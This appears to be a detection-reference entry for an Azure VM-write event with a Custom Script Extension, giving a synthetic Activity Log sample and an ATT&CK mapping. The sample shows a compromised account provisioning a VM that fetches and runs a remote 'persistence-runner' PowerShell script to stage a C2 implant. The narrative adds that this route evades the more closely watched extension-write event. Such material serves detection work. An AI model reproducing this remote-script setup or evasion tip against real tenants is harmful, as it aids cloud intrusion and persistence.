Microsoft.Compute/virtualMachines/write (CustomScriptExtension)
Azure
Microsoft.Compute/virtualMachines/write (CustomScriptExtension)
Event
Creates or updates an Azure VM with a Custom Script Extension, executing a script on the VM at provisioning time.
Security Context
- Command execution capabilities can be leveraged by adversaries to run arbitrary scripts and tools within the cloud environment.
Log Source
Azure Activity Log
Sample Event
Adversarial. Compromised user draco@fantasticlogs.cloud provisions a brand-new Windows VM vm-draco-666 in the production sub with a Windows CustomScriptExtension embedded in the VM’s extensionProfile at provisioning time. The script runs as SYSTEM at first boot and stages an attacker C2 implant. Provisioning a VM-with-script in one shot is sneakier than installing an extension on an existing VM (the latter triggers extensions/write, which is more frequently monitored).
{ "authorization": { "action": "Microsoft.Compute/virtualMachines/write", "scope": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-draco-666" }, "caller": "draco@fantasticlogs.cloud", "channels": "Operation", "claims": { "aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/10000000-0000-4000-8000-000000000001/", "appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46", "ipaddr": "203.0.113.66", "name": "Draco Malfoy", "http://schemas.microsoft.com/identity/claims/objectidentifier": "30000000-0000-4000-8000-001010011010", "http://schemas.microsoft.com/identity/claims/tenantid": "10000000-0000-4000-8000-000000000001", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn": "draco@fantasticlogs.cloud" }, "correlationId": "90000000-0000-4000-8000-000010110100", "description": "", "eventDataId": "90000000-0000-4000-8000-000010110101", "eventName": { "value": "EndRequest", "localizedValue": "End request" }, "category": { "value": "Administrative", "localizedValue": "Administrative" }, "eventTimestamp": "2026-04-15T22:34:08.5172938Z", "id": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-draco-666/events/90000000-0000-4000-8000-000010110101/ticks/638798278485172938", "level": "Informational", "operationId": "90000000-0000-4000-8000-000010110110", "operationName": { "value": "Microsoft.Compute/virtualMachines/write", "localizedValue": "Create or Update Virtual Machine" }, "resourceGroupName": "rg-fantasticlogs-prod", "resourceProviderName": { "value": "Microsoft.Compute", "localizedValue": "Microsoft.Compute" }, "resourceType": { "value": "Microsoft.Compute/virtualMachines", "localizedValue": "Microsoft.Compute/virtualMachines" }, "resourceId": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-draco-666", "status": { "value": "Succeeded", "localizedValue": "Succeeded" }, "subStatus": { "value": "Created", "localizedValue": "Created (HTTP Status Code: 201)" }, "submissionTimestamp": "2026-04-15T22:34:09.0218732Z", "subscriptionId": "20000000-0000-4000-8000-000000000001", "tenantId": "10000000-0000-4000-8000-000000000001", "properties": { "statusCode": "Created", "serviceRequestId": null, "requestbody": "{\"location\":\"eastus\",\"properties\":{\"hardwareProfile\":{\"vmSize\":\"Standard_D2s_v5\"},\"storageProfile\":{\"imageReference\":{\"publisher\":\"MicrosoftWindowsServer\",\"offer\":\"WindowsServer\",\"sku\":\"2022-datacenter-azure-edition\",\"version\":\"latest\"}},\"osProfile\":{\"computerName\":\"vm-draco-666\",\"adminUsername\":\"azureuser\"},\"resources\":[{\"name\":\"installerCustomScript\",\"properties\":{\"publisher\":\"Microsoft.Compute\",\"type\":\"CustomScriptExtension\",\"typeHandlerVersion\":\"1.10\",\"autoUpgradeMinorVersion\":true,\"settings\":{\"fileUris\":[\"https://raw.githubusercontent.com/draco-org/persistence-runner/main/install.ps1\"]},\"protectedSettings\":\"<redacted>\"}}]}}", "eventCategory": "Administrative", "entity": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-draco-666", "message": "Microsoft.Compute/virtualMachines/write", "hierarchy": "10000000-0000-4000-8000-000000000001/20000000-0000-4000-8000-000000000001" }, "relatedEvents": [], "httpRequest": { "clientRequestId": "90000000-0000-4000-8000-000010110111", "clientIpAddress": "203.0.113.66", "method": "PUT", "url": "https://management.azure.com/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-draco-666?api-version=2024-03-01" }, "identity": null}MITRE ATT&CK Mapping
Tactics: Execution Persistence
Techniques:
- T1059 — Command and Scripting Interpreter — Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface a...
- T1546 — Event Triggered Execution — Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cl...